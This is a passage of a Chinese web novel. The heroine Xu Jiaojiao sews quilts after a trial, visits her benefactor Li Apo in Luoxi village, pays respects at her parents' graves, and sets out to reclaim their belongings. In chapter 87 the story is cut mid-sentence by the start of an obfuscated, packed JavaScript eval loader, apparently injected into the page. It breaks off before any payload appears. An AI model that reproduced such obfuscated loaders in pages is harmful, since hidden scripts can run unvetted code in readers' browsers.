至少,这一局,他赢了。 赵明远一拍惊堂木:“将人犯押下去!退堂!” 差役上前,将一干人犯一一拖了下去。水仙姑经过静尘身边时,忽然停下脚步,低头看着她。 “静尘,”她轻声道,“你师父的仇,报了。” 静尘迎着她的目光,一字一句道:“我师父慈悲,不会记恨你。可那些被你害死的人,会等着你。” 水仙姑愣了愣,随即笑了。那笑容里,没有了往日的疯狂,只有一丝说不清的落寞。 “好,好。”她喃喃道,被衙役拖了下去。 崔娘子经过许娇娇身边时,忽然抬起头,看了她一眼。 那一眼,复杂极了。有愧悔,有绝望,还有一丝说不清的哀求。 许娇娇看着她,忽然轻声道:“巧娘……会有人照顾的。” 崔娘子的眼眶猛地红了。她张了张嘴,想说什么,却什么都说不出来。最后,她只是点了点头,被衙役拖了下去。 人群渐渐散去。议论声嗡嗡作响,有人还在回味方才的宣判,有人已经开始猜测崔琰的下场。 许娇娇站在原地,望着那些远去的背影,长长的舒了口气。 “娇杏。”静尘轻轻握住她的手。 许娇娇回过神,看着她。静尘的眼眶有些红,可那眼睛里,却有一种释然的光。 “师父的仇,报了。”她轻声道。 许娇娇点了点头,握住她的手。 静心也从旁边靠过来,三个人站在一起,像三株在秋风中相互依偎的树。 “咱们回去吧。”许娇娇轻声道,“王婶说要请我们去吃酒呢!。” 静尘和静心都笑了。 三人转身,往张记药铺的方向走去。 走出几步,许娇娇忽然回头,看向府衙的方向。 裴宴正站在公堂门口,和赵明远说着什么。他似乎感应到她的目光,抬起头,朝她这边望来。 隔着熙熙攘攘的人群,隔着秋日的阳光,他们遥遥相望。 许娇娇唇角微微扬起,露出一抹浅笑。 裴宴微微颔首,那冷峻的脸上,似乎也柔和了一瞬。 然后,她转身,和师姐们一起,消失在人群中。 秋风吹过,卷起满地黄叶,沙沙作响。 86. 第86章 余波 十月的最后一场秋雨落尽,菰城便入了冬。 江南的冷是钻骨头的,湿漉漉的寒气往衣裳缝里钻,外头看着日头还好,一进屋就觉着阴恻恻的,非得拢个手炉才舒坦。 可柳枝巷的小院里,这几日却是热气腾腾的。 “娇杏,你看看这个绒匀不匀?” 静心端着一簸箕刚挑好的鸭绒从屋里出来,脸上红扑扑的,额角还带着细汗。她蹲在许娇娇身边,把簸箕往前一递。 许娇娇伸手翻了翻,笑道:“匀,比我挑的还好。” 静心嘿嘿笑了两声,又压低声音道:“那床大的快做完了吧?我看师姐这两日赶工赶得紧,昨夜里还点着灯缝到亥时。” 许娇娇心里一暖,抬眼往屋里望去。透过半开的窗,能看见静尘坐在炕上,低着头,一针一线地缝着那床最大的被子。那被面是青灰色的细棉布,素净雅致,是许娇娇特意挑的——她想那人平日总穿玄色、青色,想来是喜欢素净的颜色。 “师姐太辛苦了。”她轻声道,“回头我得好好谢谢她。” 静心摆摆手:“谢什么,师姐说了,咱们三人一体,你的事就是大家的事。再说了,那位裴安抚帮了咱们那么多,做床被子算什么。” 许娇娇笑了笑,没再说话,低头继续手里的活计。 这一回她一共做了四床羽绒被,第一床稍微薄一点,她让长风捎给了裴宴,说是一点心意,聊表谢意。长风当时接过包袱,眼睛都亮了,连声说“许娘子有心了,郎主肯定喜欢”。第二床,她预备着给王氏做一床送过去,张东家和王氏帮自己良多,自己也没什么送的就送床羽绒被吧! 如今这第三床,她想着,自打离开水月庵后山茅屋,至今,都没回落溪村看看李阿婆,中途只是托人带了信给阿婆,也不知道她最近过的如何。她打算将这床送给李阿婆。李阿婆是她来到这个世界见到的第一个人,也是自己的救命恩人,如今水仙姑的威胁解除,自己也好回落溪村看看她。天气渐凉,入冬以来寒气骤降,李阿婆那个小屋冷冰冰的,这床被子正好派上用场。 最后一床,她填充的厚了些,打算让裴宴走时带回京城去。京城不比江南,江南湿寒,京城干冷,虽说他家里富裕,家里有地龙什么的,取暖的物件或许都不缺,但这也是她的一番心意。 “对了娇杏,”静心忽然想起什么,“前儿个长风大哥来,跟你说了什么?我见他脸色怪怪的。” 许娇娇手上的动作顿了顿。 那日长风来取被子,确实跟她说了不少话。他说案子虽然判了,可后续的事还多着呢。他说崔琰上了请罪的折子,把一切都推给了死去的崔旺和王兆仁。他说朝堂上吵成了一锅粥,有人保崔琰,有人参崔琰,皇帝蹙着眉头,最后什么也没说,只宣布退朝。 他还说,裴宴这几日忙得脚不沾地,整个人瘦了一圈。 许娇娇当时听着,心里像是被什么东西堵住了。她想问,案子不是已经查清楚了吗?人证物证俱全,崔琰的罪责清清楚楚,为什么还不能把他绳之以法? 可她没有问。因为她知道,这世上的事,从来不是黑白分明的。 “没什么。”她轻声道,“就是说案子的事。” 静心见她不想多说,便也不再问,只低头继续挑绒。 院子里安静下来,只有风吹过槐树叶子的沙沙声。旺财趴在窝里,眯着眼睛打盹,偶尔动动耳朵,又继续睡。 许娇娇一边装绒,一边想着长风说的那些话。 崔琰上了请罪的折子。 折子里说,他收留崔旺,原本是念在同族的情分上,想拉拔一把。谁知道崔旺心术不正,在外头打着他的旗号,和王兆仁兄弟勾结,做尽了坏事。那些略卖人口的勾当,那些贪赃枉法的事,都是崔旺和王兆仁瞒着他干的,他毫不知情。 至于十年前翠玉楼那场大火,更是与他无关。崔旺早年曾在京城待过,和宋家的人有些往来,那夜接人的事,是崔旺自己找的宋义,从头到尾他都不知情。等他知道的时候,木已成舟,他怕牵连自身,便选择了沉默。 折子的最后,崔琰言辞恳切,说“臣深受皇恩,却不能约束亲族,致使他们假借臣之名横行不法,臣罪该万死。恳请陛下夺臣官职,治臣失察之罪,以儆效尤”。 折子后面,还附了一沓证词。漕运衙门的陈纲头作证,说崔旺确实常以崔琰的名义在外行事,崔琰对此多有斥责,只是崔旺阳奉阴违,屡教不改。还有几个漕运上的老人,也纷纷作证,说崔琰为人谨慎,从不徇私,崔旺的事他确实不知情。 更让长风气愤的是,朝中居然有人替崔琰说话。御史台那边,有几个御史联名上折,说崔琰在漕运任上十余年,从未出过大错,如今被亲族连累,实属无辜。还有几个朝中大臣,也纷纷出面,说崔琰为人清廉,办事勤勉,请求皇上念在他多年苦劳的份上,从轻发落。 长风说这些话时,气得直咬牙:“那些老狐狸,平日里不见他们吭声,如今倒一个个跳出来了。摆明了是收了崔琰的好处,替他遮掩!” 许娇娇当时听着,只觉得心里发凉。 她想起那些被拐卖的女子,想起了尘师父的尸骨,想起赵大被砸烂的脑袋,想起崔娘子跪在院门外哭着说“我做不到”的样子。那么多条人命,那么多血淋淋的罪证,如今在那些高高在上的大人物眼里,竟然抵不过一句“不知情”? “那宋家呢?”她问。 长风叹了口气:“宋国公在朝会上痛斥崔琰,说他狼子野心,罪不容诛。可这话从宋家嘴里说出来,反而让皇上更犹豫了。” 许娇娇明白了。宋国公这一招,不是简单的“落井下石”,而是以退为进,借力打力。宋家和崔琰原是一条绳上的蚂蚱,如今,宋国公跳出来参他,恐怕是做给外人看的,如今到显得宋国公深明大义了,且皇上看了,也只会觉得朝臣们互相攻讦,各怀鬼胎。且有利于他的制衡之术。哎,圣心难测啊! “那裴安抚怎么说?” 长风沉默片刻,才道:“郎主说,这事急不得。崔琰在江南经营多年,根深叶茂,想一下子扳倒他,没那么容易。如今他主动请罪,把罪责都推给死人,又找了这么多证人作证,就是想断尾求生。咱们若是逼得太紧,反而会让那些中间派倒向他那边。” 许娇娇听着,心里说不出是什么滋味。 她想起那日在公堂上,裴宴坐在那里,面容冷峻,眸光如电。他查了那么久,查了那么多,好不容易把真相大白于天下,可最后,那个真正的幕后黑手,却有可能轻飘飘地脱身。 “那……那会怎么样?”她问。 长风摇摇头:“不知道。郎主已经上了折子,把查到的证据都递了上去。接下来,就看皇上怎么定了。” 许娇娇没有再问。 她能做的,都已经做了。剩下的,只能交给那个人,交给朝堂上那些她从未见过的大人物,交给远在京城的皇帝。 …… “娇杏?娇杏!” 静心的声音把她从回忆中拉回来。 许娇娇回过神,发现手里的绒毛已经装满了,正往外溢。她连忙按住被口,把多余的绒毛往回塞。 “想什么呢,这么出神?”静心好奇地看着她。 许娇娇笑了笑,没有回答。 她想什么呢?她也不知道。只是想那些事,想那个人,想他这几日瘦了多少,想他熬夜看那些折子时,有没有人给他端一碗热汤。 “没什么。”她轻声道,“来,帮我把这个口子封上。” 两人合力,把最后一床被子的口子缝 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可那日在牢房里,他蹲在她面前,说“可还好”时的眼神,她忘不了。那日公堂上,他隔着人群望向她时,微微颔首的样子,她也忘不了。 还有那块令牌,此刻还贴在她心口的位置,带着她的体温,沉甸甸的。 “别瞎说。”她轻声道,声音却没什么底气。 静心还想再说,院门忽然被人敲响了。 “许娘子在家吗?” 是长风的声音。 许娇娇心头一跳,连忙站起身,理了理衣裳,上前开门。 长风站在门外,身边还跟着响儿。两人手里都提着东西。长风提着一个食盒,响儿抱着一个大包袱。 “长风大哥?”许娇娇愣了愣,“这是……” 长风笑着把食盒递过来:“郎主让送来的。说是天冷了,吃些热乎的暖暖身子。” 许娇娇接过食盒,打开一看,是一盅热气腾腾的鸡汤,还有几碟精致的小菜。鸡汤的香味扑面而来,勾得人食指大动。 “这……”她有些无措,“怎么又送吃的……” 长风摆摆手,又指了指响儿抱着的那个大包袱:“这是郎主让还给娘子的。” 许娇娇一愣:“还给我的?” 响儿把包袱递过来,憨笑道:“郎主说,那床被子他收下了,很暖和。这个是回礼,让娘子务必收下。” 许娇娇接过包袱,打开一角,里面是一件簇新的棉袄,青灰色的面料,里头絮着厚厚的棉花,还有一条同色的棉裙,针脚细密,一看就是上好的料子。 她愣住了。 同色系? 那床被子,她送给他,是想谢他的救命之恩。他倒好,回了一件棉袄,一条棉裙,竟然是同色系的。 “这……这太贵重了……”她有些语无伦次的推辞。 长风却摆摆手:“郎主说了,娘子若是不收,他下次就不敢收娘子的东西了。” 许娇娇张了张嘴,说不出话来。 长风看着她,忽然压低声音道:“许娘子,郎主这几日忙得脚不沾地,可每次小的去回话,他总要问一句‘柳枝巷那边可好’。娘子……娘子若是有空,不妨去行辕看看郎主。” 他说完,也不等许娇娇回答,带着响儿就走了。 许娇娇站在门口,抱着那件棉袄,看着他们的背影消失在巷口,久久没有动。 “娇杏?”静心从院子里探出头来,“怎么了?” 许娇娇回过神,低头看着怀里的棉袄。那青灰色的面料,在阳光下泛着柔和的光泽,和她送他的那床被面,是一样的颜色。 她的心忽然跳得快了起来。 “没什么。”她轻声道,转身走回院子。 87. 第87章 衣锦还乡 自上回水仙姑一干人犯被判刑,许娇娇感觉世界一下子晴朗了。 张东家从苏州回来后,连连拍手称快。说这么大的案子,连苏州都在传。茶楼酒肆里,到处是人在议论。听说钦差审理了十年前京城翠玉楼纵火案,牵扯出江南发运使崔琰、归平县王大官人、水月庵水仙姑一干人犯,听说还牵涉到京城里的贵人。老百姓听不太懂那些弯弯绕绕,只知道那些鱼肉乡里的恶人终于遭了报应,便都拍手称快,道果然天网恢恢疏而不漏。 “娇杏,你是不知道,”张东家说这话时眼睛都在放光,“我去的那几个药材行,掌柜的一听我是菰城来的,都拉着我问这案子。我说那许娘子就是我们张记坐诊的女医,他们那个羡慕啊,连药价都给我便宜了几分!” 许娇娇听着只是笑。 王兆贵的家产充公,他名下的庆和堂也被官府查封,所有药材官府公开拍卖,张东家带着几个伙计,着急忙慌的抢下了不少好药材,如今铺子里药材充裕,廖大夫和万大夫忙的脚不沾地。许娇娇之前因为是苦主,要出庭作证,便告了几天假,如今又开始张记柳枝巷两头跑了。连着几日连轴转,这一日她好不容易可以抽出点空闲,向张东家告了假。 “我想回落溪村。” 入冬以来,今日难得的好天气。静心前些日子着了风寒,许娇娇给她开了一副温热散寒的药,静尘熬好了正在给静心喂药,闻言抬起头,没说话,只是看着她。 许娇娇坐在窗边,手指无意识地点着手中的医术:“从离开那里,就再也没回去过。” 她垂下眼,声音低下去:“要不是师姐你和李阿婆,我早就死在那年冬天了。当年要不是李阿婆给我带些吃食,要不是师姐你给我缝制衣裳,我恐怕活不到现在。” “娇杏,”静尘打断许娇娇的话,温和的声音透着一丝感慨,“你要这样说,那我当年被水仙姑关在石室,挨饿受冻,若不是你和静心我也活不到现在,你如今是我和静心的主心骨,不用再说那些见外的话。” “师姐说的对,娇杏妹妹,你可是我的救命恩人呢!”那声音又沙又破,像破锣似的,许娇娇听了,扑哧一声笑出来。“静心,你别说话,你这声音,恁得难听。” 静心闻言做了一个鬼脸,缩回被子里。 “这些年我只托人带过信给李阿婆,没亲自去看过她一眼。”娇杏接着话题道。 静尘把药碗放下,轻轻说:“是该回去。” “还有我阿爹阿娘。”许娇娇抬起头,眼眶微微泛红,“当初我才七岁,都不知道阿爹阿娘葬在何处,就连一块碑我都没过他们立过,连坟都没去祭过一回。当年走得急,后来……后来就不敢回了。” “这些年我只托人带过信给李阿婆,没亲自去看过她一眼。”她收回目光,继续说,“每次让人带信,都说‘等忙完这阵就去’,可忙完一茬又一茬,总也没去成。如今案子也结了,铺子里也顺了,我若再不去,就太说不过去了。” 静尘把药碗放下,轻轻说:“是该回去。李阿婆年纪大了,见一面少一面。” 那个七岁的小丫头,一夜之间父母双亡,被全村人指指点点,说是她克死的。那些目光、那些窃窃私语,比冬天的雪还冷。 “那就回去看看。”静尘的声音很轻,却稳稳的,“带上静心,我们一起。” 静心听见自己的名字,从被子里探出头:“自然,我也是要去的。” 静尘也笑了,伸手在她露在外面的额头上轻轻弹了一下。 许娇娇轻笑,伸手替她掖了掖被角。“就你这破锣嗓子,小心吓跑了李阿婆家的鸡。” “吓跑了正好,”静心嘻嘻笑着,“让李阿婆逮一只炖了给我补补。” 三人笑作一团。 —— 第二日一早,天色刚蒙蒙亮,一辆青帷马车便停在了柳枝巷口。 赶车的是个三十来岁的汉子,姓赵,是长风介绍的,说是行辕那边常用的人,车赶得稳,人也老实。他穿着一身靛蓝短褐,袖口挽着,露出一截精壮的小臂,见许娇娇她们出来,忙跳下车,把马凳放好。 “许娘子,您慢着些上车。”他憨厚地笑着,伸手虚扶着。 静尘扶着静心先上了车,许娇娇正要跟上,一抬头,却见巷口又来了几匹马。 为首那人翻身下马,却是长风。 “长风大哥?”许娇娇有些意外,“你怎么来了?” 长风快步走过来,挠了挠头,嘿嘿笑道:“郎主让我跟着。说落溪村那边路远,您几位女眷单独出门不放心。让属下带着两个兄弟跟着,省的那些村民不知轻重,冲撞了您。” 许娇娇听着,心头微微一跳。 她想起那夜他站在马车旁,把令牌递给她时说“先留着”时的眼神。想起他说“若再有人欺负你,就亮出来”时低沉的声音。 他连这都想到了。 “替我谢谢裴安抚。”她敛衽一礼,声音放得很轻,“劳他费心了。” 长风摆摆手:“许娘子别客气,这是属下分内的事。您上车吧,咱们这就出发。” 许娇娇点了点头,上了马车。 车帘放下,遮住了外面的晨光。静心已经趴在车窗边,好奇地往外张望。静尘端坐着,手里捻着佛珠,嘴里念念有词。 马车缓缓启动,车轮碾过青石板路,发出辚辚的声响。 许娇娇靠在车壁上,闭上眼。 落溪村在归平县外三十里,但从菰城过去,要一百多里地。 那个小村子藏在两座山之间的狭长谷地里,进出只有一条山路。其余皆是水路。当初她们三个从水月庵逃出来时,也算运气好,当时水仙姑没料到她们会逃离。且是张记生药铺的陈平接的她们。也算一路平安。 她想到第一回上菰城卖草药,是孙二叔和他家二郎推着独轮车。自己和李阿婆一人坐着一辆,车子一面装着山货和草药,一面坐着她们俩,一起摇摇晃晃走了几十里山路。到了河边,又换船,顺水而下,才到的菰城。 那一路,她至今记得清清楚楚。独轮车在山路上颠得她五脏六腑都要挪位,她咬着牙一声不吭。想到这里,她心中一时有些感慨。 后来她托人给孙二叔带过信,带过银钱,还给他带了给金桂婶子的药方和药材。也不知金桂婶子是否安好。 如今走的是官道。 官道沿着山势开凿,能并行两辆马车,比那条山路好走得多。只是要绕路,比行船慢一点。许娇娇掀开车帘一角,看着外面的山色。 江南的冬天,始终带着绿意。山上的绿竹虽然不再翠绿,叶子泛着些微的黄,却不像北方那样光秃秃的荒凉。偶尔有不知名的鸟从林间掠过,留下一串清脆的啼鸣。 静心趴在窗口好奇地看两边的山色,一会儿指着远处的山头说“那山像只卧着的牛”,一会儿又指着路边的小溪说“那水真清,能看见底下的石头”。静尘将她拉进来放下帘子,一脸薄责:“才将将有起色,仔细吹了风,加重了有的你受。” 静心吐吐舌头,缩回车厢里,却还是忍不住,偷偷掀开一角继续看。 许娇娇则一直望着窗外,望那些渐渐熟悉的山形水势。 她记得这条路。虽然当年走的是另一条道,可这些山,她认得。那个像馒头一样的山包,是双峰山的主峰。那道蜿蜒的溪流,最后会汇入菰溪。还有那些散落在山间的村落,炊烟袅袅,偶尔传来几声狗吠,和记忆里一模一样。 拐过一个山嘴,村子忽然出现在眼前。 许娇娇的心猛地跳了一下。 落溪村。 还是记忆里的模样。村口那棵老樟树还在,枝叶繁茂,遮出一大片阴凉。树下那块大青石还在,村中的土路还是坑坑洼洼的,路边堆着柴垛,几只鸡在觅食。 可一切又不一样了。 那些房子矮了,旧了,墙上的泥皮剥落,露出里面的土坯。那棵老樟树的叶子还是绿的,树下空荡荡的,没有人在那里乘凉说闲话。村中的土路似乎更窄了,两边的杂草长得很高,看得出来,走的人少了。 马车在村口停下。 长风策马上前,低声道:“许娘子,到了。李阿婆家在村东头,属下先带人过去看看?” 许娇娇摇了摇头:“我自己去。你们……在这等着就好。” 长风犹豫了一下,还是点了点头。 许娇娇下了车,静尘和静心也跟着下来。静心的嗓子还没好全,裹着一件厚棉袄,把自己裹得严严实实的,只露出两只眼睛。 三人沿着村中的土路,往东头走去。 一路上,偶尔有人从屋里探出头来,好奇地张望。有人认出了她,嘴张了张,却什么也没说,又把头缩了回去。许娇娇没有理会,只低着头,快步往前走。 李阿婆的家在村东头,三间土坯房,院墙是用树枝编的,好多处已经破了大洞,用草绳胡乱扎着。院子里几只鸡在啄食,一只黄狗趴在墙根晒太阳,听见脚步声,懒洋洋地抬起头,看了一眼,又趴了下去。 许娇娇站在院门口,看着那个佝偻的身影。 李阿婆正背对着她,在院子里喂鸡。她穿着一件洗得发白的蓝布褂子,头发全白了,稀稀疏疏地在脑后挽了一个小小的髻。她弯着腰,往地上的破瓦盆里撒着谷子,嘴里“咕咕”地唤着。 那背影,和记忆里一模一样。 只是更瘦了,更小了,佝偻得更厉害了。 许娇娇的眼眶一下子就热了。 “阿婆。” 她的声音哽在喉咙里,喊出来时自己都吓了一跳,又轻又哑,像是从梦里飘出来的。 喂鸡的李婆子没有听见,依旧弯着腰撒谷子。 许娇娇深吸一口气,提高了声音:“阿婆!” 那佝偻的身影顿住了。 李婆子慢慢直起腰,慢慢转过身,眯着眼睛朝这边看过来。 看了很久。 她年纪大了,眼睛早就花了,看什么都是模模糊糊的一团。可那个站在院门口的身影,那件藕荷色的衣裙,那张脸…… 李婆子手里的笸箩“啪”地掉在地上,谷子撒了一地,鸡们一窝蜂拥上去啄食。 可她顾不上那些。 她急忙往前走了两步,又停下来,嘴唇哆嗦着,声音抖得厉害:“是……是娇杏?” 许娇娇几步抢上去,一把扶住李婆子的胳膊。 触手是干瘦的、温热的,是记忆里的温度。 “是我,阿婆。” 李婆子仰着头看她,看了很久很久。那双浑浊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许娇娇环顾四周,心里酸酸的。 三四年了,阿婆还是住在这里,还是用着这些破旧的家什。她寄回来的那些银子,阿婆一分都没花在自己身上。 李婆子端着粗陶碗出来,碗里是刚烧开的水,热气腾腾的。 “家里没有茶叶,委屈你们喝白水了。”她把碗放在桌上,又去里屋翻出一个纸包,打开来,里面是几块黑乎乎的糖,“这是上回村里来货郎,我买的,甜着呢,你们尝尝。” 静心接过一块,放进嘴里,眉眼都弯了起来:“阿婆,这糖真甜。” 李婆子乐得合不拢嘴:“甜就好,甜就好。” 许娇娇拉着李婆子坐下,握着她枯瘦的手,半晌说不出话来。 “阿婆,”她终于开口,声音还有些哑,“这几年,你还好吗?” 李婆子拍拍她的手:“好,好着呢。你寄回来的那些银子,我都攒着,没舍得花。你托人带的话,我都收到了,知道你过得好,我就放心了。” “那银子是给您花的,”许娇娇急了,“您怎么不花?您这屋子都破成这样了……” “破什么破,”李婆子打断她,“你也知道老婆子我有一个败家子,我才不愿意给他花这冤枉钱,我只盼着我那两个孙儿长大成人,不要向他阿爹学才好。再说了住在那里都一个样,这屋子我住了几十年,住惯了,挺好的。” 许娇娇张了张嘴,却不知该说什么。 李婆子看着她,浑浊的眼睛里满是慈爱:“娇杏啊,你跟阿婆说说,这些年你都怎么过的?上次你托人带信,说你做了女医,在什么张记坐诊,阿婆听了,高兴得好几宿没睡着。我就知道你是个有大造化的。” 许娇娇便从那年离开水月庵后山说起,说怎么跟这陈伙计到菰城,怎么在张记生药铺落脚,怎么在疫病中立功,怎么被钦差赏识…… 她说得平淡,那些苦都轻描淡写地一笔带过,可李婆子听着,眼眶却红了又红。 “好孩子,好孩子……”她不停地念叨,“你阿爹阿娘要是知道,该多高兴啊……” 许娇娇垂下眼,声音轻下去:“阿婆,我想去看看我爹娘的坟。这么多年了,我还不知道他们葬在何处。” 李婆子叹了口气,握紧她的手。 “在村后山坡上,那棵老松树下面。你阿爹阿娘去得突然,村里人……村里人那时候糊涂,就胡乱点了一处穴,葬在那边了。” 许娇娇点点头,没有说话。 “我每年都去给他们烧纸上香,”李婆子道,“跟他们说说你的事。告诉他们,娇杏好好的,活着呢,出息了。让他们在地下,也放心。” 许娇娇的眼泪不知为何突然涌了上来。 她起身,郑重地给李婆子行了一礼。 “阿婆,”她抬起头,眼眶通红,“您的救命之恩,娇杏铭记于心。当年要不是您,我早就死了。 李婆子连忙拉着她:“乖囡,说的什么……” “阿婆,往日里多赖你照顾,娇杏能有今日离不开您和孙二叔的相助,再说了,我阿爹和阿娘要不是您上坟烧张纸钱,我这个不孝女到如今都不知道她们葬在何处。” “乖囡,!”李婆子扶着她双臂,“老婆子我其实也是有私心的,当日若不是你阿爹与我家那口子有恩,老婆子或许也会对你不理不睬。乖囡不要放在心上。一切都是你的造化。” 88. 第88章 祭拜 傍晚时分,夕阳把山坡染成一片橘红。 许娇娇站在那棵老松树下,看着面前的两座土坟。 坟不大,长满了荒草。没有碑,只有两块石头,勉强算是标记。风吹过,松涛阵阵,像是有人在低声说着什么。 许娇娇在坟前跪下,静尘和静心也跟着跪下,长风远远站在山坡下,没有过来。 “许先生,柳姨,”许娇娇的声音很轻,“我替她来看你们了。” 风停了,松涛也静了,整个山坡都安静下来,像是在听她说话。 “当初我稀里糊涂来到这里,借了贵女的身体,希望你们二位莫怪。如今我既然来了,那我就替她好好活着。往后,你们二老就是我的亲爹娘,我会时常来看你们,给你们送纸烧香。希望您二老在天有灵,保佑娇杏今后顺遂。” 她从怀里取出一个包袱,打开,里面是三炷香,一叠纸钱,还有一块小小的木牌。 “这是我请人刻的碑,”她把木牌竖在坟前,“一会儿就会给二老立起来。往后,再也不会让人说这是无主的坟了。” 她点燃香,插在土里。又点燃纸钱,看着那火苗跳跃,一点点吞噬那些黄纸。 “我现在过得很好。”她继续说,声音掺杂着喜悦感动,“有师姐们陪着,有病人需要,还有……”她顿了顿,没有说下去。 纸钱烧尽了,灰烬被风吹起,打着旋儿飘向远方。 许娇娇跪在那里,磕了三个头。 “阿爹,阿娘,你们放心。我会好好的,替你们好好活着。” 活着找到阿爹阿娘死因,活着寻找阿爹阿娘的过去。 祭拜完爹娘,许娇娇想起李婆子说的话,“好好去看看他们。你阿爹许大郎,活着的时候没少替他们看病,谁家有难,他能帮的都帮了,可有时候好人总是没有好报。你祭拜好他们,就回来,阿婆给你做好吃的。你看看,阿婆如今养了不少鸡,我给你炖鸡汤喝。” 刚走到门口,就闻到一阵鸡汤的香味扑鼻而来,先是张婶子听到狗叫,从李阿婆厨房探出头来,只见她大着嗓门将狗吼到一边,几步上前一脸笑意,“我家阿囡说有大马车进村了,还跟着几个当官的。说娇杏来了,我还不信,便来李婶这里瞧瞧。竟然是真的。” “张婶。”许娇娇笑着和她打招呼。当日张婶在水月庵数落水仙姑偷人时的模样和语气她到现在都记得。那叫一个犀利。 “听说你们来了,李婶杀了一只鸡,都炖锅里了,你们先坐着喝茶,我去帮她忙。”张婶子将他们让进李婆子的堂屋。招呼他们一声,就又钻进厨房忙去了。 许娇娇坐在李婆子家堂屋的长凳上,鼻间满是厨房里飘来的鸡汤香气。张婶子的嗓门大,隔着厨房的土墙都能听见她在里头和李婆子说说笑笑,偶尔夹杂着锅碗瓢盆的碰撞声。 静心裹着厚棉袄,缩在许娇娇身边,一双眼睛却亮晶晶地往厨房方向瞅。静尘依旧是那副恬静模样,端着粗陶碗,慢慢地喝着碗里的白开水。 不多时,李婆子和张婶子端着饭菜进来。一碗黄澄澄的鸡汤,油汪汪的,飘着几段葱叶;一碟腌萝卜条,切得细细的,淋了香油;一碗清炒冬菘,还有一笸箩杂粮饼子,热气腾腾的。 “快吃快吃,”李婆子把鸡汤往许娇娇面前推,“这鸡是我自个儿养的,喂了一年多,肉嫩着呢。娇杏你尝尝,看合不合口味。” 许娇娇拿起筷子,夹了一块鸡肉放进嘴里。鸡肉炖得软烂,鲜香入味。她眼眶微微一热,低头又夹了一块。 “阿婆也吃。”她给李婆子碗里夹了一块。 李婆子笑得眼睛眯成一条缝,连连摆手:“我成天吃,不稀罕。你们多吃些。” 张婶子在一旁坐下,也不客气,拿起饼子就着鸡汤吃起来。她一边吃一边拿眼打量许娇娇,嘴里啧啧有声:“娇杏丫头,几年不见,出落得这样好了。我先前听人说你在菰城做了女医,还当是瞎传的,今儿一见,才知是真的。你这衣裳,这气派,啧啧,真是有出息了。” 许娇娇淡淡一笑:“张婶过奖了,不过是讨口饭吃。” “讨口饭吃?”张婶子嗓门又高起来,“你这要是讨口饭吃,那我们这些土里刨食的算啥?我听说你在菰城那可是坐诊的郎中,连那些员外家的人都找你看病?了不得了不得!” 李婆子在一旁听着,脸上满是欣慰,嘴上却道:“你个老货,别吓着孩子。娇杏好不容易回来一趟,让她安生吃顿饭。” 张婶子嘿嘿笑了两声,埋头继续吃饼。 许娇娇吃了两口,放下筷子,看向李婆子。 “阿婆,我想问您一件事。” 李婆子抬起头:“啥事?” “我家原先的房子,”许娇娇的声音很平静,“还有我阿爹阿娘留下的东西,如今在谁手里?” 堂屋里静了一瞬。 李婆子的手顿了顿,筷子悬在半空,脸上的笑意慢慢淡了下去。张婶子也停了咀嚼,看看许娇娇,又看看李婆子,眼神有些闪烁。 李婆子把筷子放下,叹了口气。 “娇杏啊,”她伸手握住许娇娇的手,“你问这个做啥?” 许娇娇反握住李婆子枯瘦的手,声音依旧平静:“阿婆,我阿爹阿娘走得突然,那时候我还小,什么都不懂。可如今我长大了,总该知道那些东西去了哪里。我不是要争什么,只是想拿回几样念想——我阿爹的那些医书,还有我阿娘的一些旧物。” 李婆子沉默了片刻,才道:“你家的田,当初被村里几家人分了。你家那几亩水田,张家二房占了两亩,三房占了一亩,还有一亩被王家占了。山上的毛竹林,归了村里,这些年一直是村里人共用。” 许娇娇点点头,没有吭声。 “房子……”李婆子顿了顿,“房子被分给了张家三房。就是张癞子他爹那一房。如今张癞子他爹前年没了,张癞子带着婆娘和几个孩子,在镇上开了个杂货铺,日子过得还不错。那房子他们也不住,就那么空着,说是留着以后给儿子娶媳妇用。” 张家三房。 许娇娇在心里默默记下这个名字。 张婶子在一旁插嘴道:“张癞子那人你可知道?小时候就虚头巴脑的,原先跟着他爹种地。那小子滑头得很,他婆娘也不是省油的灯,两口子在镇上开了杂货铺,听说挣了些钱,如今可神气了,回村来走路都仰着下巴。” 原主的记忆深处基本上没有什么清晰的往事,关于张癞子的事她一点都想不起来。不过却记得小时候有很多小孩朝她扔土坷垃,嘴里喊着“哑巴、哑巴”。 “他那杂货铺,”许娇娇问,“在镇上什么地方?” 李婆子看了她一眼,有些担忧:“乖囡,你想去做啥?那房子都给了人家七八年了,你就是去要,人家也不会给的。张癞子那人,不是好说话的。你一个姑娘家,别去招惹那些麻烦。” 许娇娇拍拍李婆子的手,安抚道:“阿婆放心,我不是去闹事的。我只是想拿回我阿爹阿娘的东西。那些书、那些旧物,对他们来说不过是些破烂,对我却是念想。能拿回来最好,拿不回来……我也要问个明白。” 静尘在一旁轻轻开口:“阿婆,娇杏心里有数,您别担心。” 李婆子看看静尘,又看看许娇娇,叹了口气:“你这孩子,从小就是个有主意的。罢了罢了,你要去就去吧。不过你得听阿婆一句劝,到了镇上,好好跟人说,别吵别闹。那些东西,能要回来就要,要不回来……也就算了,别把自己搭进去。” 许娇娇点头:“我省得。” 张婶子在一旁眼珠转了转,忽然道:“娇杏丫头,你要去镇上,我让我那外甥陪你去?他对镇上熟,张癞子那杂货铺他也知道在哪儿。” 许娇娇摇摇头,笑道:“多谢张婶好意,不过不用了。我带了人来,有他们跟着就行。” 张婶子这才想起村口还停着大马车,还有那几个骑马的汉子,心里暗暗咋舌。这娇杏丫头,如今果然不一样了,出门都带护卫了。 吃过饭,天色还早。许娇娇让长风套了马车,带着静尘静心,往镇上而去。 落溪村距离横塘镇只有五里多地,不大,一条主街从东到西不过二里地。街上开着几家铺子,有卖杂货的,有打铁的,有卖吃食的,还有一家茶肆。 张癞子的杂货铺在街东头,两间门面,门口挂着块褪了色的布幌子,上头写着“张记杂货”四个字。 马车在铺子门口停下。 许娇娇下了车,站在铺子门口往里看。铺子里头光线昏暗,货架上摆着些油盐酱醋、针头线脑之类的东西。柜台后头坐着一个三十来岁的妇人,脸圆圆的,眉眼间带着几分精明相,正磕着瓜子,百无聊赖地往外瞅。 一见门口停了大马车,那妇人眼睛一亮,蹭地站起来,脸上堆起笑,迎了出来。 “几位客官,想买点什么?咱这铺子东西全,价钱公道……” 